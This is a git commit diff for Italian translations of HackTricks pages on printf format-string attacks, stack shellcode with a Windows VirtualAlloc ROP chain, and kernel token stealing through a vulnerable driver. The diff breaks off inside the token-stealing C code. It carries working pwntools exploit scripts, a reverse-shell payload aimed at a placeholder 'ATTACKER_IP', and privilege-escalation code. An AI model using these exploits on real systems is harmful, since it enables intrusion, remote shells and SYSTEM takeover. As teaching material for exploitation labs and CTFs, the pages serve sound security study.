Translated ['src/binary-exploitation/stack-overflow/stack-shellcode/READ

This commit is contained in:
Translator 2025-08-28 16:50:15 +00:00
parent b979d28d58
commit 3af5806a00
5 changed files with 668 additions and 416 deletions

View File

@ -234,6 +234,7 @@
- [Authentication Credentials Uac And Efs](windows-hardening/authentication-credentials-uac-and-efs.md)
- [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md)
- [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md)
- [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md)
- [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md)
- [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)
- [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md)

View File

@ -3,13 +3,13 @@
{{#include ../../banners/hacktricks-training.md}}
## Informazioni di Base
## Informazioni di base
In C **`printf`** è una funzione che può essere utilizzata per **stampare** una stringa. Il **primo parametro** che questa funzione si aspetta è il **testo grezzo con i formattatori**. I **parametri seguenti** attesi sono i **valori** da **sostituire** ai **formattatori** nel testo grezzo.
In C **`printf`** è una funzione che può essere usata per **stampare** una stringa. Il **primo parametro** che questa funzione si aspetta è il **testo grezzo con i formatters**. I **parametri successivi** attesi sono i **valori** per **sostituire** i **formatters** nel testo grezzo.
Altre funzioni vulnerabili sono **`sprintf()`** e **`fprintf()`**.
La vulnerabilità appare quando un **testo dell'attaccante viene utilizzato come primo argomento** per questa funzione. L'attaccante sarà in grado di creare un **input speciale che sfrutta** le capacità della **stringa di formato printf** per leggere e **scrivere qualsiasi dato in qualsiasi indirizzo (leggibile/scrivibile)**. Essere in grado in questo modo di **eseguire codice arbitrario**.
La vulnerabilità si presenta quando un **testo controllato dall'attaccante viene usato come primo argomento** di questa funzione. L'attaccante sarà in grado di costruire un **input speciale abusando** delle **printf format string capabilities** per leggere e **scrivere qualsiasi dato in qualunque indirizzo (leggibile/scrivibile)**. In questo modo può eseguire codice arbitrario.
#### Formattatori:
```bash
@ -30,7 +30,7 @@ char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
```
- Uso Normale:
- Uso normale:
```c
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
@ -52,9 +52,9 @@ fclose(output_file);
return 0;
}
```
### **Accessing Pointers**
### **Accesso ai puntatori**
Il formato **`%<n>$x`**, dove `n` è un numero, consente di indicare a printf di selezionare il n-esimo parametro (dallo stack). Quindi, se vuoi leggere il 4° parametro dallo stack usando printf, puoi fare:
Il formato **`%<n>$x`**, dove `n` è un numero, permette di indicare a printf di selezionare il parametro n (dallo stack). Quindi se vuoi leggere il 4° parametro dallo stack usando printf puoi fare:
```c
printf("%x %x %x %x")
```
@ -66,14 +66,14 @@ printf("%4$x")
```
e leggere direttamente il quarto.
Nota che l'attaccante controlla il `printf` **parametro, il che significa fondamentalmente che** il suo input sarà nello stack quando viene chiamato `printf`, il che significa che potrebbe scrivere indirizzi di memoria specifici nello stack.
Nota che l'attaccante controlla il `printf` **parametro, il che praticamente significa che** il suo input verrà messo nello stack quando `printf` viene chiamato, il che significa che potrebbe scrivere specifici indirizzi di memoria nello stack.
> [!CAUTION]
> Un attaccante che controlla questo input sarà in grado di **aggiungere indirizzi arbitrari nello stack e far accedere `printf` a essi**. Nella sezione successiva verrà spiegato come utilizzare questo comportamento.
> Un attaccante che controlla questo input potrà **aggiungere indirizzi arbitrari nello stack e far sì che `printf` li acceda**. Nella sezione successiva sarà spiegato come utilizzare questo comportamento.
## **Lettura Arbitraria**
## **Arbitrary Read**
È possibile utilizzare il formattatore **`%n$s`** per far sì che **`printf`** ottenga l'**indirizzo** situato nella **n posizione**, seguendolo e **stamparlo come se fosse una stringa** (stampa fino a quando non viene trovato un 0x00). Quindi, se l'indirizzo base del binario è **`0x8048000`**, e sappiamo che l'input dell'utente inizia nella quarta posizione nello stack, è possibile stampare l'inizio del binario con:
È possibile usare il formatter **`%n$s`** per far sì che **`printf`** prenda l'**indirizzo** situato nella **posizione n**, lo segua e **lo stampi come se fosse una stringa** (stampa fino a quando non viene trovato un 0x00). Quindi, se l'indirizzo base del binario è **`0x8048000`**, e sappiamo che l'input dell'utente inizia nella quarta posizione nello stack, è possibile stampare l'inizio del binario con:
```python
from pwn import *
@ -87,11 +87,11 @@ p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
```
> [!CAUTION]
> Nota che non puoi mettere l'indirizzo 0x8048000 all'inizio dell'input perché la stringa verrà tagliata a 0x00 alla fine di quell'indirizzo.
> Nota che non puoi mettere l'indirizzo 0x8048000 all'inizio dell'input perché la stringa sarà terminata con 0x00 alla fine di quell'indirizzo.
### Trova l'offset
### Trovare l'offset
Per trovare l'offset per il tuo input puoi inviare 4 o 8 byte (`0x41414141`) seguiti da **`%1$x`** e **aumentare** il valore fino a recuperare le `A's`.
Per trovare l'offset del tuo input puoi inviare 4 o 8 byte (`0x41414141`) seguiti da **`%1$x`** e **aumentare** il valore fino a recuperare le `A`.
<details>
@ -128,38 +128,38 @@ p.close()
### Quanto è utile
Le letture arbitrarie possono essere utili per:
Arbitrary reads possono essere utili per:
- **Dump** il **binary** dalla memoria
- **Accedere a parti specifiche della memoria dove sono memorizzate informazioni sensibili** (come canaries, chiavi di crittografia o password personalizzate come in questa [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
- **Accedere a parti specifiche della memoria dove sono memorizzate** **informazioni sensibili** (come canaries, encryption keys o custom passwords come in questo [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
## **Scrittura Arbitraria**
## **Arbitrary Write**
Il formatter **`%<num>$n`** **scrive** il **numero di byte scritti** nell'**indirizzo indicato** nel parametro \<num> nello stack. Se un attaccante può scrivere quanti più caratteri possibile con printf, sarà in grado di far scrivere a **`%<num>$n`** un numero arbitrario in un indirizzo arbitrario.
Il formatter **`%<num>$n`** **scrive** il **numero di byte scritti** nell'**indirizzo indicato** dal parametro <num> nello stack. Se un attaccante può scrivere quanti caratteri vuole con printf, sarà in grado di far sì che **`%<num>$n`** scriva un numero arbitrario in un indirizzo arbitrario.
Fortunatamente, per scrivere il numero 9999, non è necessario aggiungere 9999 "A" all'input; per farlo è possibile utilizzare il formatter **`%.<num-write>%<num>$n`** per scrivere il numero **`<num-write>`** nell'**indirizzo puntato dalla posizione `num`**.
Per fortuna, per scrivere il numero 9999 non è necessario aggiungere 9999 "A" all'input; è possibile usare il formatter **`%.<num-write>%<num>$n`** per scrivere il numero **`<num-write>`** nell'**indirizzo puntato dalla posizione `num`**.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
```
Tuttavia, nota che di solito per scrivere un indirizzo come `0x08049724` (che è un numero ENORME da scrivere tutto in una volta), **si usa `$hn`** invece di `$n`. Questo consente di **scrivere solo 2 Byte**. Pertanto, questa operazione viene eseguita due volte, una per i 2B più alti dell'indirizzo e un'altra volta per i più bassi.
Tuttavia, nota che di solito, per scrivere un indirizzo come `0x08049724` (che è un NUMERO ENORME da scrivere tutto in una volta), **si usa `$hn`** invece di `$n`. Questo permette di **scrivere solo 2 byte**. Pertanto questa operazione viene eseguita due volte, una per i 2 byte più alti dell'indirizzo e un'altra per quelli più bassi.
Pertanto, questa vulnerabilità consente di **scrivere qualsiasi cosa in qualsiasi indirizzo (scrittura arbitraria).**
Pertanto, questa vulnerabilità permette di **scrivere qualsiasi cosa in qualsiasi indirizzo (arbitrary write).**
In questo esempio, l'obiettivo sarà **sovrascrivere** l'**indirizzo** di una **funzione** nella tabella **GOT** che verrà chiamata successivamente. Anche se questo potrebbe abusare di altre tecniche di scrittura arbitraria per eseguire:
In questo esempio, l'obiettivo sarà **sovrascrivere** l'**indirizzo** di una **funzione** nella tabella **GOT** che verrà chiamata più tardi. Sebbene questo possa sfruttare altre tecniche di arbitrary write to exec:
{{#ref}}
../arbitrary-write-2-exec/
{{#endref}}
Stiamo per **sovrascrivere** una **funzione** che **riceve** i suoi **argomenti** dall'**utente** e **puntarla** alla **funzione** **`system`**.\
Come accennato, per scrivere l'indirizzo, di solito sono necessari 2 passaggi: **prima scrivi 2Byte** dell'indirizzo e poi gli altri 2. Per farlo si usa **`$hn`**.
Andremo a **sovrascrivere** una **funzione** che **riceve** i suoi **argomenti** dall'**utente** e a **puntarla** alla funzione **`system`**.\
Come detto, per scrivere l'indirizzo sono generalmente necessari 2 passaggi: prima **si scrivono 2 byte** dell'indirizzo e poi gli altri 2. Per farlo si usa **`$hn`**.
- **HOB** si riferisce ai 2 byte più alti dell'indirizzo
- **LOB** si riferisce ai 2 byte più bassi dell'indirizzo
- **HOB** indica i 2 byte più alti dell'indirizzo
- **LOB** indica i 2 byte più bassi dell'indirizzo
Poi, a causa di come funziona la stringa di formato, è necessario **scrivere prima il più piccolo** di \[HOB, LOB] e poi l'altro.
Poi, a causa di come funzionano le format string, è necessario **scrivere prima il più piccolo** tra \[HOB, LOB] e poi l'altro.
Se HOB < LOB\
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
@ -171,16 +171,16 @@ HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
```bash
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
```
### Pwntools Template
### Pwntools Modello
Puoi trovare un **template** per preparare un exploit per questo tipo di vulnerabilità in:
Puoi trovare un **modello** per preparare un exploit per questo tipo di vulnerabilità in:
{{#ref}}
format-strings-template.md
{{#endref}}
O questo esempio di base da [**qui**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
Oppure questo esempio di base da [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
```python
from pwn import *
@ -201,18 +201,60 @@ p.interactive()
```
## Format Strings to BOF
È possibile abusare delle azioni di scrittura di una vulnerabilità di formato stringa per **scrivere negli indirizzi dello stack** e sfruttare un tipo di vulnerabilità di **buffer overflow**.
È possibile abusare delle azioni di scrittura di una format string vulnerability per **scrivere in indirizzi dello stack** e sfruttare un tipo di vulnerabilità di **buffer overflow**.
## Other Examples & References
## Windows x64: Format-string leak to bypass ASLR (no varargs)
Su Windows x64 i primi quattro parametri interi/puntatore vengono passati nei registri: RCX, RDX, R8, R9. In molti call-sites vulnerabili la stringa controllata dall'attaccante viene usata come format argument ma non vengono forniti variadic arguments, per esempio:
```c
// keyData is fully controlled by the client
// _snprintf(dst, len, fmt, ...)
_snprintf(keyStringBuffer, 0xff2, (char*)keyData);
```
Poiché non vengono passati varargs, qualsiasi conversione come "%p", "%x", "%s" farà sì che la CRT legga il prossimo argomento variadico dal registro appropriato. Con la Microsoft x64 calling convention la prima lettura per "%p" proviene da R9. Qualsiasi valore transitorio in R9 al call-site verrà stampato. In pratica questo spesso leaks un puntatore stabile in-modulo (es., un puntatore a un oggetto locale/globale precedentemente posto in R9 dal codice circostante o un valore callee-saved), che può essere usato per recuperare la base del modulo e sconfiggere ASLR.
Flusso pratico:
- Inietta un formato innocuo come "%p " all'inizio della stringa controllata dall'attaccante in modo che la prima conversione venga eseguita prima di qualsiasi filtraggio.
- Cattura il leaked pointer, identifica l'offset statico di quell'oggetto all'interno del modulo (eseguendo reversing una volta con simboli o una copia locale), e recupera la image base come `leak - known_offset`.
- Riusa quella base per calcolare indirizzi assoluti per ROP gadgets e IAT entries da remoto.
Esempio (abbreviato python):
```python
from pwn import remote
# Send an input that the vulnerable code will pass as the "format"
fmt = b"%p " + b"-AAAAA-BBB-CCCC-0252-" # leading %p leaks R9
io = remote(HOST, 4141)
# ... drive protocol to reach the vulnerable snprintf ...
leaked = int(io.recvline().split()[2], 16) # e.g. 0x7ff6693d0660
base = leaked - 0x20660 # module base = leak - offset
print(hex(leaked), hex(base))
```
Note:
- L'offset esatto da sottrarre viene trovato una volta durante il reversing locale e poi riutilizzato (stesso binario/versione).
- Se "%p" non stampa un puntatore valido al primo tentativo, provare altri specifier ("%llx", "%s") o conversioni multiple ("%p %p %p") per campionare altri registri/stack degli argomenti.
- Questo pattern è specifico della calling convention Windows x64 e delle implementazioni della printf-family che leggono varargs inesistenti dai registri quando la format string li richiede.
Questa tecnica è estremamente utile per bootstrapper ROP su servizi Windows compilati con ASLR e senza evidenti primitive di memory disclosure.
## Altri Esempi & Riferimenti
- [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
- [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
- [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
- [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html)
- 32 bit, no relro, no canary, nx, no pie, uso base delle format strings per rivelare il flag dallo stack (non è necessario alterare il flusso di esecuzione)
- 32 bit, no relro, no canary, nx, no pie, uso di base delle format strings per leak della flag dallo stack (non è necessario alterare il flusso di esecuzione)
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
- 32 bit, relro, no canary, nx, no pie, format string per sovrascrivere l'indirizzo `fflush` con la funzione win (ret2win)
- [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html)
- 32 bit, relro, no canary, nx, no pie, format string per scrivere un indirizzo all'interno di main in `.fini_array` (così il flusso torna indietro un'altra volta) e scrivere l'indirizzo a `system` nella tabella GOT puntando a `strlen`. Quando il flusso torna a main, `strlen` viene eseguito con input dell'utente e puntando a `system`, eseguirà i comandi passati.
- 32 bit, relro, no canary, nx, no pie, format string per scrivere un indirizzo dentro main in `.fini_array` (così il flusso torna indietro un'altra volta) e scrivere nella GOT l'indirizzo di `system` nell'entry corrispondente a `strlen`. Quando il flusso torna a main, `strlen` viene eseguita con input utente e, essendo puntata a `system`, eseguirà i comandi passati.
## Riferimenti
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
- [x64 calling convention (MSVC)](https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,13 +2,13 @@
{{#include ../../../banners/hacktricks-training.md}}
## Informazioni di Base
## Informazioni di base
**Stack shellcode** è una tecnica utilizzata nell'**exploitation binaria** in cui un attaccante scrive shellcode nello stack di un programma vulnerabile e poi modifica il **Instruction Pointer (IP)** o **Extended Instruction Pointer (EIP)** per puntare alla posizione di questo shellcode, causando la sua esecuzione. Questo è un metodo classico utilizzato per ottenere accesso non autorizzato o eseguire comandi arbitrari su un sistema target. Ecco una panoramica del processo, inclusa un semplice esempio in C e come potresti scrivere un exploit corrispondente utilizzando Python con **pwntools**.
**Stack shellcode** è una tecnica usata nella **binary exploitation** in cui un attacker scrive shellcode nello stack di un vulnerable program e poi modifica il **Instruction Pointer (IP)** o il **Extended Instruction Pointer (EIP)** per puntare alla posizione di questo shellcode, facendolo eseguire. È un metodo classico per ottenere accesso non autorizzato o eseguire comandi arbitrari su un target system. Di seguito una panoramica del processo, incluso un semplice esempio in C e come potresti scrivere un exploit corrispondente usando Python con **pwntools**.
### Esempio C: Un Programma Vulnerabile
### Esempio in C: A Vulnerable Program
Iniziamo con un semplice esempio di un programma C vulnerabile:
Cominciamo con un semplice esempio di vulnerable C program:
```c
#include <stdio.h>
#include <string.h>
@ -28,18 +28,18 @@ Questo programma è vulnerabile a un buffer overflow a causa dell'uso della funz
### Compilazione
Per compilare questo programma disabilitando varie protezioni (per simulare un ambiente vulnerabile), puoi utilizzare il seguente comando:
Per compilare questo programma disabilitando varie protezioni (per simulare un ambiente vulnerabile), puoi usare il seguente comando:
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
- `-fno-stack-protector`: Disabilita la protezione dello stack.
- `-z execstack`: Rende lo stack eseguibile, il che è necessario per eseguire shellcode memorizzato nello stack.
- `-no-pie`: Disabilita l'Eseguibile Indipendente dalla Posizione, rendendo più facile prevedere l'indirizzo di memoria in cui si troverà il nostro shellcode.
- `-m32`: Compila il programma come eseguibile a 32 bit, spesso utilizzato per semplicità nello sviluppo di exploit.
- `-z execstack`: Rende lo stack eseguibile, necessario per eseguire shellcode memorizzata sullo stack.
- `-no-pie`: Disabilita Position Independent Executable (PIE), rendendo più semplice prevedere l'indirizzo di memoria in cui si troverà la nostra shellcode.
- `-m32`: Compila il programma come eseguibile a 32 bit, spesso usato per semplicità nello sviluppo di exploit.
### Python Exploit usando Pwntools
Ecco come potresti scrivere un exploit in Python utilizzando **pwntools** per eseguire un attacco **ret2shellcode**:
Ecco come potresti scrivere un exploit in Python usando **pwntools** per eseguire un attacco **ret2shellcode**:
```python
from pwn import *
@ -66,26 +66,98 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
p.sendline(payload)
p.interactive()
```
Questo script costruisce un payload composto da un **NOP slide**, il **shellcode**, e poi sovrascrive l'**EIP** con l'indirizzo che punta al NOP slide, assicurando che il shellcode venga eseguito.
Questo script costruisce un payload composto da una **NOP slide**, la **shellcode**, e poi sovrascrive la **EIP** con l'indirizzo che punta alla NOP slide, garantendo l'esecuzione della shellcode.
Il **NOP slide** (`asm('nop')`) è usato per aumentare la possibilità che l'esecuzione "scivoli" nel nostro shellcode indipendentemente dall'indirizzo esatto. Regola l'argomento `p32()` all'indirizzo di partenza del tuo buffer più un offset per atterrare nel NOP slide.
La **NOP slide** (`asm('nop')`) viene usata per aumentare la probabilità che l'esecuzione "slide" nella nostra shellcode indipendentemente dall'indirizzo esatto. Regola l'argomento di `p32()` all'indirizzo iniziale del tuo buffer più un offset per atterrare nella NOP slide.
## Protezioni
## Windows x64: Bypass NX with VirtualAlloc ROP (ret2stack shellcode)
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **dovrebbe essere disabilitato** affinché l'indirizzo sia affidabile tra le esecuzioni o l'indirizzo dove la funzione sarà memorizzata non sarà sempre lo stesso e avresti bisogno di qualche leak per capire dove è caricata la funzione win.
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) dovrebbero essere anch'essi disabilitati o l'indirizzo di ritorno EIP compromesso non sarà mai seguito.
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** protezione impedirebbe l'esecuzione del shellcode all'interno dello stack perché quella regione non sarà eseguibile.
On modern Windows the stack is non-executable (DEP/NX). A common way to still execute stack-resident shellcode after a stack BOF is to build a 64-bit ROP chain that calls VirtualAlloc (or VirtualProtect) from the module Import Address Table (IAT) to make a region of the stack executable and then return into shellcode appended after the chain.
## Altri Esempi & Riferimenti
Punti chiave (Win64 calling convention):
- VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect)
- RCX = lpAddress → scegli un indirizzo nello stack corrente (e.g., RSP) così la regione RWX appena allocata si sovrappone al tuo payload
- RDX = dwSize → abbastanza grande per la tua chain + shellcode (e.g., 0x1000)
- R8 = flAllocationType = MEM_COMMIT (0x1000)
- R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40)
- Return directly into the shellcode placed right after the chain.
Strategia minima:
1) Leak a module base (e.g., via a format-string, object pointer, etc.) per calcolare gli indirizzi assoluti di gadget e IAT sotto ASLR.
2) Trova gadgets per caricare RCX/RDX/R8/R9 (pop or mov/xor-based sequences) e una call/jmp [VirtualAlloc@IAT]. Se non hai pop r8/r9 diretti, usa gadgets aritmetici per sintetizzare costanti (e.g., set r8=0 and repeatedly add r9=0x40 forty times to reach 0x1000).
3) Posiziona lo stage-2 shellcode immediatamente dopo la chain.
Esempio layout (concettuale):
```
# ... padding up to saved RIP ...
# R9 = 0x40 (PAGE_EXECUTE_READWRITE)
POP_R9_RET; 0x40
# R8 = 0x1000 (MEM_COMMIT) — if no POP R8, derive via arithmetic
POP_R8_RET; 0x1000
# RCX = &stack (lpAddress)
LEA_RCX_RSP_RET # or sequence: load RSP into a GPR then mov rcx, reg
# RDX = size (dwSize)
POP_RDX_RET; 0x1000
# Call VirtualAlloc via the IAT
[IAT_VirtualAlloc]
# New RWX memory at RCX — execution continues at the next stack qword
JMP_SHELLCODE_OR_RET
# ---- stage-2 shellcode (x64) ----
```
Con un set di gadget limitato, puoi costruire i valori dei registri indirettamente, ad esempio:
- mov r9, rbx; mov r8, 0; add rsp, 8; ret → imposta r9 con il valore di rbx, azzera r8 e compensa lo stack con un junk qword.
- xor rbx, rsp; ret → inizializza rbx con l'attuale stack pointer.
- push rbx; pop rax; mov rcx, rax; ret → sposta un valore derivato da RSP in RCX.
Esempio Pwntools (data una base nota e gadget noti):
```python
from pwn import *
base = 0x7ff6693b0000
IAT_VirtualAlloc = base + 0x400000 # example: resolve via reversing
rop = b''
# r9 = 0x40
rop += p64(base+POP_RBX_RET) + p64(0x40)
rop += p64(base+MOV_R9_RBX_ZERO_R8_ADD_RSP_8_RET) + b'JUNKJUNK'
# rcx = rsp
rop += p64(base+POP_RBX_RET) + p64(0)
rop += p64(base+XOR_RBX_RSP_RET)
rop += p64(base+PUSH_RBX_POP_RAX_RET)
rop += p64(base+MOV_RCX_RAX_RET)
# r8 = 0x1000 via arithmetic if no pop r8
for _ in range(0x1000//0x40):
rop += p64(base+ADD_R8_R9_ADD_RAX_R8_RET)
# rdx = 0x1000 (use any available gadget)
rop += p64(base+POP_RDX_RET) + p64(0x1000)
# call VirtualAlloc and land in shellcode
rop += p64(IAT_VirtualAlloc)
rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT))
```
Suggerimenti:
- VirtualProtect funziona in modo simile se è preferibile rendere un buffer esistente RX; l'ordine dei parametri è diverso.
- Se lo spazio nello stack è limitato, allocare RWX altrove (RCX=NULL) e jmp a quella nuova regione invece di riutilizzare lo stack.
- Considera sempre i gadget che modificano RSP (es., add rsp, 8; ret) inserendo qword di riempimento.
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) dovrebbe essere disabilitato affinché l'indirizzo sia affidabile tra le esecuzioni; altrimenti l'indirizzo in cui la funzione sarà memorizzata non sarà sempre lo stesso e avresti bisogno di qualche leak per capire dove è caricata la funzione win.
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) dovrebbero essere disabilitati anch'essi, altrimenti l'indirizzo di ritorno EIP compromesso non verrà mai seguito.
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) la protezione **stack** impedirebbe l'esecuzione dello shellcode nello stack perché quella regione non sarebbe eseguibile.
## Altri esempi e riferimenti
- [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
- [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html)
- 64bit, ASLR con leak dell'indirizzo dello stack, scrivere shellcode e saltare a esso
- 64bit, ASLR con stack address leak, scrivi shellcode e fai jump ad esso
- [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
- 32 bit, ASLR con leak dello stack, scrivere shellcode e saltare a esso
- 32 bit, ASLR con stack leak, scrivi shellcode e fai jump ad esso
- [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
- 32 bit, ASLR con leak dello stack, confronto per prevenire la chiamata a exit(), sovrascrivere una variabile con un valore e scrivere shellcode e saltare a esso
- 32 bit, ASLR con stack leak, confronto per prevenire la chiamata a exit(), sovrascrivi una variabile con un valore, scrivi shellcode e fai jump ad esso
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
- arm64, senza ASLR, gadget ROP per rendere lo stack eseguibile e saltare al shellcode nello stack
- arm64, no ASLR, gadget ROP per rendere lo stack eseguibile e saltare al shellcode nello stack
## Riferimenti
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
- [VirtualAlloc documentation](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,122 @@
# Windows kernel EoP: Token stealing with arbitrary kernel R/W
{{#include ../../banners/hacktricks-training.md}}
## Panoramica
Se un driver vulnerabile espone un IOCTL che dà a un attacker primitive di read e/o write arbitrarie nel kernel, l'elevazione a NT AUTHORITY\SYSTEM può spesso essere ottenuta rubando un access token di SYSTEM. La tecnica copia il Token pointer dall'EPROCESS di un processo SYSTEM nell'EPROCESS del processo corrente.
Perché funziona:
- Ogni processo ha una struttura EPROCESS che contiene (tra gli altri campi) un Token (in realtà un EX_FAST_REF verso un oggetto token).
- Il processo SYSTEM (PID 4) possiede un token con tutti i privilegi abilitati.
- Sostituire l'EPROCESS.Token del processo corrente con il puntatore al token di SYSTEM fa sì che il processo corrente venga eseguito immediatamente come SYSTEM.
> Gli offset in EPROCESS variano tra le versioni di Windows. Determinali dinamicamente (simboli) o usa costanti specifiche per la versione. Ricorda inoltre che EPROCESS.Token è un EX_FAST_REF (i 3 bit meno significativi sono flag del conteggio riferimenti).
## Passaggi ad alto livello
1) Individua la base di ntoskrnl.exe e risolvi l'indirizzo di PsInitialSystemProcess.
- Da user mode, usa NtQuerySystemInformation(SystemModuleInformation) o EnumDeviceDrivers per ottenere le basi dei driver caricati.
- Aggiungi l'offset di PsInitialSystemProcess (da symbols/reversing) alla base del kernel per ottenere il suo indirizzo.
2) Leggi il puntatore a PsInitialSystemProcess → questo è un puntatore kernel all'EPROCESS di SYSTEM.
3) Dall'EPROCESS di SYSTEM, leggi gli offset di UniqueProcessId e ActiveProcessLinks per attraversare la lista doppiamente collegata di strutture EPROCESS (ActiveProcessLinks.Flink/Blink) fino a trovare l'EPROCESS il cui UniqueProcessId è uguale a GetCurrentProcessId(). Mantieni entrambi:
- EPROCESS_SYSTEM (per SYSTEM)
- EPROCESS_SELF (per il processo corrente)
4) Leggi il valore del token di SYSTEM: Token_SYS = *(EPROCESS_SYSTEM + TokenOffset).
- Maschera i 3 bit bassi: Token_SYS_masked = Token_SYS & ~0xF (comunemente ~0xF o ~0x7 a seconda della build; su x64 i 3 bit meno significativi sono usati — mask 0xFFFFFFFFFFFFFFF8).
5) Option A (common): Conserva i 3 bit bassi dal tuo token corrente e agganciali al puntatore di SYSTEM per mantenere coerente il ref count incorporato.
- Token_ME = *(EPROCESS_SELF + TokenOffset)
- Token_NEW = (Token_SYS_masked | (Token_ME & 0x7))
6) Scrivi Token_NEW in (EPROCESS_SELF + TokenOffset) usando la tua primitive di kernel write.
7) Il processo corrente è ora SYSTEM. Facoltativamente avvia un nuovo cmd.exe o powershell.exe per confermare.
## Pseudocodice
Below is a skeleton that only uses two IOCTLs from a vulnerable driver, one for 8-byte kernel read and one for 8-byte kernel write. Replace with your drivers interface.
```c
#include <Windows.h>
#include <Psapi.h>
#include <stdint.h>
// Device + IOCTLs are driver-specific
#define DEV_PATH "\\\\.\\VulnDrv"
#define IOCTL_KREAD CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_KWRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS)
// Version-specific (examples only resolve per build!)
static const uint32_t Off_EPROCESS_UniquePid = 0x448; // varies
static const uint32_t Off_EPROCESS_Token = 0x4b8; // varies
static const uint32_t Off_EPROCESS_ActiveLinks = 0x448 + 0x8; // often UniquePid+8, varies
BOOL kread_qword(HANDLE h, uint64_t kaddr, uint64_t *out) {
struct { uint64_t addr; } in; struct { uint64_t val; } outb; DWORD ret;
in.addr = kaddr; return DeviceIoControl(h, IOCTL_KREAD, &in, sizeof(in), &outb, sizeof(outb), &ret, NULL) && (*out = outb.val, TRUE);
}
BOOL kwrite_qword(HANDLE h, uint64_t kaddr, uint64_t val) {
struct { uint64_t addr, val; } in; DWORD ret;
in.addr = kaddr; in.val = val; return DeviceIoControl(h, IOCTL_KWRITE, &in, sizeof(in), NULL, 0, &ret, NULL);
}
// Get ntoskrnl base (one option)
uint64_t get_nt_base(void) {
LPVOID drivers[1024]; DWORD cbNeeded;
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded >= sizeof(LPVOID)) {
return (uint64_t)drivers[0]; // first is typically ntoskrnl
}
return 0;
}
int main(void) {
HANDLE h = CreateFileA(DEV_PATH, GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (h == INVALID_HANDLE_VALUE) return 1;
// 1) Resolve PsInitialSystemProcess
uint64_t nt = get_nt_base();
